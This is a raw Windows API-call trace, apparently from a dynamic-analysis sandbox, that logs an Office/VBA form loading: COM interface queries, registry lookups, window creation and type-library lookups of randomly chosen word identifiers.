GetCurrentThreadId () returned 0x938 [0018.190] GetCurrentThreadId () returned 0x938 [0018.190] IUnknown:AddRef (This=0x4f5b500) returned 0x0 [0018.190] IUnknown:QueryInterface (in: This=0x4f5b500, riid=0x7fef41be0a0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x74c7200 | out: ppvObject=0x74c7200*=0x4f5b588) returned 0x0 [0018.190] GetCurrentThreadId () returned 0x938 [0018.190] strcpy_s (in: _Dst=0x2642a0, _DstSize=0x114, _Src="VBInternal_Create:" | out: _Dst="VBInternal_Create:") returned 0x0 [0018.190] lstrcpyA (in: lpString1=0x2642b2, lpString2="modernization" | out: lpString1="modernization") returned="modernization" [0018.190] GetCurrentThreadId () returned 0x938 [0018.190] GetCurrentThreadId () returned 0x938 [0018.190] CExposedDocFile::Stat () returned 0x0 [0018.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x16e92c, cbMultiByte=-1, lpWideCharStr=0x264130, cchWideChar=9 | out: lpWideCharStr="\x03VBFrame") returned 9 [0018.190] CExposedDocFile::OpenStream () returned 0x0 [0018.190] CExposedStream::Stat () returned 0x0 [0018.190] GlobalLock (hMem=0x5080078) returned 0x6dafa90 [0018.190] GlobalSize (hMem=0x5080078) returned 0x200 [0018.190] CExposedStream::Read () returned 0x0 [0018.190] GetCurrentThreadId () returned 0x938 [0018.190] GetCurrentThreadId () returned 0x938 [0018.190] lstrcmpiA (lpString1="VERSION", lpString2="VERSION") returned 0 [0018.190] lstrcmpiA (lpString1="Begin", lpString2="Begin") returned 0 [0018.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef4205d40, cbMultiByte=-1, lpWideCharStr=0x264100, cchWideChar=39 | out: lpWideCharStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 39 [0018.190] CLSIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", pclsid=0x264188 | out: pclsid=0x264188*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0018.190] GetCurrentThreadId () returned 0x938 [0018.190] lstrcpynA (in: lpString1=0x264030, lpString2="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", iMaxLength=256 | out: lpString1="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}" [0018.191] lstrcpynA (in: lpString1=0x263f30, lpString2="modernization", iMaxLength=256 | out: lpString1="modernization") returned="modernization" [0018.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x264030, cbMultiByte=-1, lpWideCharStr=0x263e00, cchWideChar=39 | out: lpWideCharStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 39 [0018.191] CLSIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", pclsid=0x263e60 | out: pclsid=0x263e60*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0018.191] StringFromGUID2 (in: rguid=0x263e60*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f)), lpsz=0x743eeb8, cchMax=256 | out: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 39 [0018.191] wsprintfA (in: param_1=0x263ac0, param_2="%s%s%s%s%s" | out: param_1="Clsid\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\Instance CLSID") returned 59 [0018.191] RegQueryValueA (in: hKey=0xffffffff80000000, lpSubKey="Clsid\\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\\Instance CLSID", lpData=0x2639c0, lpcbData=0x2639b0 | out: lpData="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", lpcbData=0x2639b0) returned 0x2 [0018.191] lstrlenA (lpString="modernization") returned 13 [0018.191] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="modernization") returned 0x10e832 [0018.191] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 0x10a0c6 [0018.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x264030, cbMultiByte=-1, lpWideCharStr=0x263e30, cchWideChar=39 | out: lpWideCharStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 39 [0018.191] IIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", lpiid=0x263e80 | out: lpiid=0x263e80) returned 0x0 [0018.191] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 0x10a0c6 [0018.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x264030, cbMultiByte=-1, lpWideCharStr=0x263dc0, cchWideChar=39 | out: lpWideCharStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned 39 [0018.191] IIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", lpiid=0x263e10 | out: lpiid=0x263e10) returned 0x0 [0018.191] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="modernization") returned 0x10e832 [0018.191] GetCurrentThreadId () returned 0x938 [0018.191] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Caption") returned 0x107810 [0018.191] lstrcmpiA (lpString1="Caption", lpString2="Caption") returned 0 [0018.191] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ClientHeight") returned 0x107da9 [0018.191] lstrcmpiA (lpString1="ClientHeight", lpString2="ClientHeight") returned 0 [0018.191] atof (_String="420") returned 0x1612f0 [0018.191] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ClientLeft") returned 0x104925 [0018.191] lstrcmpiA (lpString1="ClientLeft", lpString2="ClientLeft") returned 0 [0018.191] atof (_String="45") returned 0x1612f0 [0018.191] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ClientTop") returned 0x109869 [0018.192] lstrcmpiA (lpString1="ClientTop", lpString2="ClientTop") returned 0 [0018.192] atof (_String="375") returned 0x1612f0 [0018.192] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ClientWidth") returned 0x1028e4 [0018.192] lstrcmpiA (lpString1="ClientWidth", lpString2="ClientWidth") returned 0 [0018.192] atof (_String="3795") returned 0x1612f0 [0018.192] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="StartUpPosition") returned 0x10fb67 [0018.192] lstrcmpiA (lpString1="StartUpPosition", lpString2="StartUpPosition") returned 0 [0018.192] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="TypeInfoVer") returned 0x107334 [0018.192] lstrcmpiA (lpString1="TypeInfoVer", lpString2="TypeInfoVer") returned 0 [0018.192] lstrlenA (lpString="cosmographer") returned 12 [0018.192] lstrlenA (lpString="Thunder") returned 7 [0018.192] lstrcpyA (in: lpString1=0x263b60, lpString2="Thunder" | out: lpString1="Thunder") returned="Thunder" [0018.192] AdjustWindowRectEx (in: lpRect=0x263b10, dwStyle=0x80c80080, bMenu=0, dwExStyle=0x40001 | out: lpRect=0x263b10) returned 1 [0018.192] MonitorFromWindow (hwnd=0x1022e, dwFlags=0x2) returned 0x10001 [0018.192] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x263b30 | out: lpmi=0x263b30) returned 1 [0018.192] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x81, wParam=0x0, lParam=0x263450) returned 0x1 [0018.193] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x83, wParam=0x0, lParam=0x2634a0) returned 0x0 [0018.193] GetSystemMenu (hWnd=0x2025e, bRevert=0) returned 0x501a9 [0018.193] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x1, wParam=0x0, lParam=0x263430) returned 0x0 [0018.193] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x5, wParam=0x0, lParam=0x1c00fd) returned 0x0 [0018.193] IsZoomed (hWnd=0x2025e) returned 0 [0018.193] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x3, wParam=0x0, lParam=0x190003) returned 0x0 [0018.193] IUnknown:AddRef (This=0x4f5b500) returned 0x0 [0018.193] IUnknown:Release (This=0x4f5b500) returned 0x0 [0018.193] IUnknown:QueryInterface (in: This=0x4f5b500, riid=0x7fef41e70f8*(Data1=0xcf51ed10, Data2=0x62fe, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x86, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x3, [6]=0x48, [7]=0x36)), ppvObject=0x264080 | out: ppvObject=0x264080*=0x6f840a0) returned 0x0 [0018.194] MulDiv (nNumber=2540, nNumerator=8, nDenominator=96) returned 212 [0018.194] MulDiv (nNumber=2540, nNumerator=8, nDenominator=96) returned 212 [0018.194] IUnknown:QueryInterface (in: This=0x4f5b500, riid=0x7fef41e7018*(Data1=0xb196b288, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x264040 | out: ppvObject=0x264040*=0x6f82f00) returned 0x0 [0018.194] IUnknown:QueryInterface (in: This=0x4f5b500, riid=0x7fef41cd9b8*(Data1=0x10a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x263fa8 | out: ppvObject=0x263fa8*=0x6f82f00) returned 0x0 [0018.195] CExposedDocFile::Release () returned 0x2 [0018.195] CExposedDocFile::AddRef () returned 0x3 [0018.197] IUnknown:QueryInterface (in: This=0x4f5b500, riid=0x7fef41dfb70*(Data1=0x5efc7970, Data2=0x14bc, Data3=0x11cf, Data4=([0]=0x9b, [1]=0x2b, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x38, [7]=0x19)), ppvObject=0x1c5c588 | out: ppvObject=0x1c5c588*=0x6f840a0) returned 0x0 [0018.197] IUnknown:QueryInterface (in: This=0x4f5b500, riid=0x7fef41d1af0*(Data1=0x468cfb80, Data2=0xb4f9, Data3=0x11cf, Data4=([0]=0x80, [1]=0xdd, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x61, [6]=0x48, [7]=0x95)), ppvObject=0x264148 | out: ppvObject=0x264148*=0x6f82f00) returned 0x0 [0018.197] IUnknown:QueryInterface (in: This=0x4f5b500, riid=0x7fef41be0a0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264180 | out: ppvObject=0x264180*=0x4f5b588) returned 0x0 [0018.197] IUnknown:QueryInterface (in: This=0x4f5b500, riid=0x7fef41be0a0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264180 | out: ppvObject=0x264180*=0x4f5b588) returned 0x0 [0018.197] GetWindowLongA (hWnd=0x2025e, nIndex=-20) returned 262401 [0018.197] SetWindowLongA (hWnd=0x2025e, nIndex=-20, dwNewLong=262401) returned 262401 [0018.197] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x7c, wParam=0xffffffffffffffec, lParam=0x264130) returned 0x0 [0018.197] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x7d, wParam=0xffffffffffffffec, lParam=0x264130) returned 0x0 [0018.198] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0018.198] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0018.198] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0018.198] IUnknown:QueryInterface (in: This=0x4f5b500, riid=0x7fef41e7018*(Data1=0xb196b288, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x264190 | out: ppvObject=0x264190*=0x6f82f00) returned 0x0 [0018.198] IUnknown:QueryInterface (in: This=0x4f5b500, riid=0x7fef41e7138*(Data1=0x112, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264098 | out: ppvObject=0x264098*=0x6f82f00) returned 0x0 [0018.198] IsWindow (hWnd=0x20260) returned 1 [0018.198] NtdllDefWindowProc_A (hWnd=0x2025e, Msg=0x210, wParam=0x1, lParam=0x20260) returned 0x0 [0018.199] GetCurrentThreadId () returned 0x938 [0018.199] CExposedStream::Commit () returned 0x0 [0018.199] CExposedStream::Release () returned 0x0 [0018.199] GlobalHandle (pMem=0x6dafa90) returned 0x5080078 [0018.199] GlobalUnlock (hMem=0x5080078) returned 0 [0018.199] IUnknown:AddRef (This=0x4f5b500) returned 0x0 [0018.199] IUnknown:QueryInterface (in: This=0x4f5b500, riid=0x7fef41d1af0*(Data1=0x468cfb80, Data2=0xb4f9, Data3=0x11cf, Data4=([0]=0x80, [1]=0xdd, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x61, [6]=0x48, [7]=0x95)), ppvObject=0x264530 | out: ppvObject=0x264530*=0x6f82f00) returned 0x0 [0018.199] IUnknown:Release (This=0x4f5b500) returned 0x0 [0018.199] IConnectionPoint:Advise (in: This=0x75b8588, pUnkSink=0x74c7240, pdwCookie=0x264530 | out: pdwCookie=0x264530*=0xffffffff) returned 0x0 [0018.199] IUnknown:Release (This=0x75b8588) returned 0x0 [0018.199] IConnectionPoint:Advise (in: This=0x74733a8, pUnkSink=0x74c7248, pdwCookie=0x264530 | out: pdwCookie=0x264530*=0xffffffff) returned 0x0 [0018.199] IUnknown:Release (This=0x74733a8) returned 0x0 [0018.199] VarCmp (pvarLeft=0x7462420, pvarRight=0x7462470, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.202] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x52b0000 [0018.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x756e374, cbMultiByte=10, lpWideCharStr=0x52b00dc, cchWideChar=22 | out: lpWideCharStr="dissection") returned 10 [0018.203] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="posy") returned 0x10c9f8 [0018.203] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x5, _Src="posy" | out: _Dst="posy") returned 0x0 [0018.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=5, lpWideCharStr=0x263600, cchWideChar=5 | out: lpWideCharStr="posy") returned 5 [0018.203] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.203] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="posy", lHashVal=0x10c9f8, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.203] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.203] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.203] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="posy", lHashVal=0x10c9f8, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.203] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.203] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.203] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="posy", lHashVal=0x10c9f8, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.203] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.203] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.203] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="posy", lHashVal=0x10c9f8, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.203] IUnknown:Release (This=0x7479720) returned 0x5 [0018.203] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_posy") returned 0x302f29 [0018.203] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.203] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.203] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cancan") returned 0x10985f [0018.203] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x7, _Src="cancan" | out: _Dst="cancan") returned 0x0 [0018.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=7, lpWideCharStr=0x263600, cchWideChar=7 | out: lpWideCharStr="cancan") returned 7 [0018.203] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.203] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="cancan", lHashVal=0x10985f, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.203] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.203] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.203] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="cancan", lHashVal=0x10985f, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.203] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.203] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.203] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="cancan", lHashVal=0x10985f, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.203] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.203] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.203] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="cancan", lHashVal=0x10985f, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.203] IUnknown:Release (This=0x7479720) returned 0x5 [0018.204] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_cancan") returned 0x3012c9 [0018.204] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.204] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.204] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="leonardesque") returned 0x1034e7 [0018.204] strcpy_s (in: _Dst=0x2637a0, _DstSize=0xd, _Src="leonardesque" | out: _Dst="leonardesque") returned 0x0 [0018.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=13, lpWideCharStr=0x263600, cchWideChar=13 | out: lpWideCharStr="leonardesque") returned 13 [0018.204] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.204] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="leonardesque", lHashVal=0x1034e7, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.204] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.204] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.204] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="leonardesque", lHashVal=0x1034e7, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.204] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.204] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.204] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="leonardesque", lHashVal=0x1034e7, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.204] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.204] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.204] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="leonardesque", lHashVal=0x1034e7, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.204] IUnknown:Release (This=0x7479720) returned 0x5 [0018.204] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_leonardesque") returned 0x306e43 [0018.204] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.204] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.204] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="adequate") returned 0x1029cb [0018.204] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x9, _Src="adequate" | out: _Dst="adequate") returned 0x0 [0018.204] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=9, lpWideCharStr=0x263600, cchWideChar=9 | out: lpWideCharStr="adequate") returned 9 [0018.204] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.204] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="adequate", lHashVal=0x1029cb, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.204] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.204] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.204] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="adequate", lHashVal=0x1029cb, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.204] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.204] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.204] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="adequate", lHashVal=0x1029cb, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.205] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.205] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.205] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="adequate", lHashVal=0x1029cb, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.205] IUnknown:Release (This=0x7479720) returned 0x5 [0018.205] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_adequate") returned 0x300154 [0018.205] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.205] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.205] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="poisoning") returned 0x10c1e4 [0018.205] strcpy_s (in: _Dst=0x2637a0, _DstSize=0xa, _Src="poisoning" | out: _Dst="poisoning") returned 0x0 [0018.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=10, lpWideCharStr=0x263600, cchWideChar=10 | out: lpWideCharStr="poisoning") returned 10 [0018.205] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.205] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="poisoning", lHashVal=0x10c1e4, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.205] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.205] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.205] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="poisoning", lHashVal=0x10c1e4, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.205] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.205] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.205] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="poisoning", lHashVal=0x10c1e4, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.205] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.205] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.205] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="poisoning", lHashVal=0x10c1e4, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.205] IUnknown:Release (This=0x7479720) returned 0x5 [0018.205] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_poisoning") returned 0x30bba8 [0018.205] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.205] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.205] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="antibiotic") returned 0x104d8b [0018.205] strcpy_s (in: _Dst=0x2637a0, _DstSize=0xb, _Src="antibiotic" | out: _Dst="antibiotic") returned 0x0 [0018.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=11, lpWideCharStr=0x263600, cchWideChar=11 | out: lpWideCharStr="antibiotic") returned 11 [0018.206] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.206] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="antibiotic", lHashVal=0x104d8b, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.206] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.206] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.206] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="antibiotic", lHashVal=0x104d8b, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.206] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.206] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.206] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="antibiotic", lHashVal=0x104d8b, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.206] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.206] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.206] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="antibiotic", lHashVal=0x104d8b, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.206] IUnknown:Release (This=0x7479720) returned 0x5 [0018.206] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_antibiotic") returned 0x30bbf5 [0018.206] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.206] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.206] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="battering") returned 0x10d959 [0018.206] strcpy_s (in: _Dst=0x2637a0, _DstSize=0xa, _Src="battering" | out: _Dst="battering") returned 0x0 [0018.206] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=10, lpWideCharStr=0x263600, cchWideChar=10 | out: lpWideCharStr="battering") returned 10 [0018.206] IUnknown:AddRef (This=0x72d9b00) returned 0xd [0018.206] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="battering", lHashVal=0x10d959, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.206] IUnknown:Release (This=0x72d9b00) returned 0xc [0018.206] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.206] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="battering", lHashVal=0x10d959, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.206] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.206] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.206] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="battering", lHashVal=0x10d959, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.206] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.206] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.206] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="battering", lHashVal=0x10d959, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.206] IUnknown:Release (This=0x7479720) returned 0x5 [0018.206] LHashValOfNameSysA (syskind=0x3, lcid=0x419, 